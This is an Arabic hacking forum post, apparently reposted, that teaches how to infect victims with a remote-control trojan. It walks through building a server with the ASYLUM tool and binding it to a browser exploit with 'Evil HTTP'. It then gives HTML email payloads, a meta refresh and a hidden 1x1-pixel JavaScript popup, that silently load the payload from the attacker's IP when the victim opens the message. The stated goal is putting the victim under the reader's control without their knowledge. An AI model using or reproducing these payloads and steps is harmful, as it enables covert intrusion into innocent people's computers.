الاختراق بأحترافيه

السلام عليكم اولا





الاختراق بخبره



الان ساشرح طرق في الاختراق ولاكن هاي الطرق يجب ان تمارسها بشكل مستمر



اول شي يجب ان يكون لديك برنامج الـ Evil HTTP



ويجب ان يكون لديك اي برنامج من برامج الـ Up Loaders



وبالنسبه لي انا بشرح برنامج الـ ASYLUM





بسم الله الرحمن الرحيم



نبدا بعون الله







اول شي كون باتش ببرنامج الــ ASYLUM



بعد ما تكون الباتش بيكون حجمه 7 كيلو بايت



نروح لبرنامج الــ Evil HTTP



اول مربع حدد فيه الباتش اللي كونته



المربع الثانيه حدد الثغره اللي تبيها وانا بستخدم ثغرت الــ mpeg



وبعدين نعطي الضحيه الاي بي حقنا على شكل لينك يعني مثل هذا







بدال هذا الرقم 127.0.0.1 حط الاي بي حقك



بس طبعا بيكون جهازي معرض للئختراق يمكن اللي نبي نخترقه هكر ويستثمرة بمعرفته



عشان كذا نروح لتلغيم الصفحات





بمعنى اوضح نرسل رساله فيها باتش وتتحمل في جهاز الضحيه بدون علمه











الخطوات......... :



لازم يكون عندك ايميل في الياهو لأننا نحتاج لأيميل يدعم الـ HTML



) او اي برنامج يرسل رسايل تدعم الـ HTML)



بعد ما تدخل الايميل : اعمل COMPOSE يعني اكتب رسالة جديدة..

و في أسفل خانة كتابة الرسالة على اليمين.. ستجد رز تفعيل ال HTML

فعلها و اكتب ايميلك.. اكتب الايميل اللي انت تبي و حاول تخليها شي ملفت للنضر





أهم شئ في الرسالة : كتابة الكود الأول او الثاني ( يفضل الثاني ) :



الاول :

كود HTML:



<meta http-equiv=Refresh content="0; url=http://127.0.0.1/1.jpg">



الثاني :

كود HTML:







<SCRIPT LANGUAGE='JavaScript'>window.open('http://127.0.0.1/1.jpg','','left=1000,top=1000,width=1,height=1');</SCRIPT>







اكتب ايميل الضحية و المعلومات الباقية و كل شي و ارسل..



حط الاي بي الخاص فيك بدال الرقم 127.0.0.1



طبعا هاي الطريقه تحتاج صبر شوي



والضحيه اول ما يفتح الرساله يتحمل في جهازه الباتش



والف مبروك الضحيه صار تحت سيطرتك



كيف أجعل السيرفر يتحمل بدون اعطاء اللنك للضحية ؟؟؟



الان همنا الوحيد ان ما نخلي الضحيه ما ينتبه على شي



الفكرة الأولى..:



كود تحويل ...انت ما بتحول لصفحة انترنت انت بتحول للنك اللي فيه الأيبي الخاص فيك مثلا :

يفضل الامتداد في الأخر يكون JPG. اول لما يفتح الايميل بيتحول و ينفتح السيرفر في جهازه.. الطريقة 100% شغالة الا اذا كان الضحية عارف الثغرة اللي في المتصفح اللي تستخدمها البرامج اللي قلت عنها طبعا انت تقدر تستخدم الفكرة في أي خدمة تدعم الــ HTML غير : 127.0.0.1 بالأي بي الخاص فيك

كود HTML:



<meta http-equiv=Refresh content="0; url=http://127.0.0.1/1.jpg">




..........................

الفكرة الثانية المطورة :

صفحة انترنت تفتح بمجرد ما يفتح الضحية يوصل الضحية الطريقة اللي انت مستخدمها.. مثل ايميل او صفحة او icq او اي شي من الطرق...

مثال على الايميل...



مثلا الحين لو انت وصلك ايميل و حمل الايميل و فجأة لقيت الصفحة تحولك على اي شي ثاني !!

ممكن تشك و تعمل STOP للتحميل!!

شو الحل.؟؟؟؟

شوف الكود الثاني بيفتح الصفحة في أقصى اسفل يسار الشاشة و لا تظهر الصفحة.. و الصفحة حجمها :

1 في 1 pixels يعني ما تجي حجم نقطة.. لكن شغالة 100%

الصفحة بتفتح و طبعا انت تكون محدد الموقع اللي بتفتح عليه.. مثلا [IMG]http://www.google.com/[/url]

لكن احنا مب محتاجين الموقع في شي ..

احنا نبي نحط اللنك اللي فيه الـ IP حقك مثلا : [url]http://127.0.0.1/1.jpg[/IMG]

اول لما تفتح الصفحة...... خلاص أصبح ضحيتك..

الكود :

كود HTML:





<SCRIPT LANGUAGE='JavaScript'>window.open('http://127.0.0.1/1.jpg','','left=1000,top=1000,width=1,height=1');</SCRIPT>



تغير 127.0.0.1 بالأي بي الخاااااص فيك..



والله ولي التوفيق



تحياتي


منقول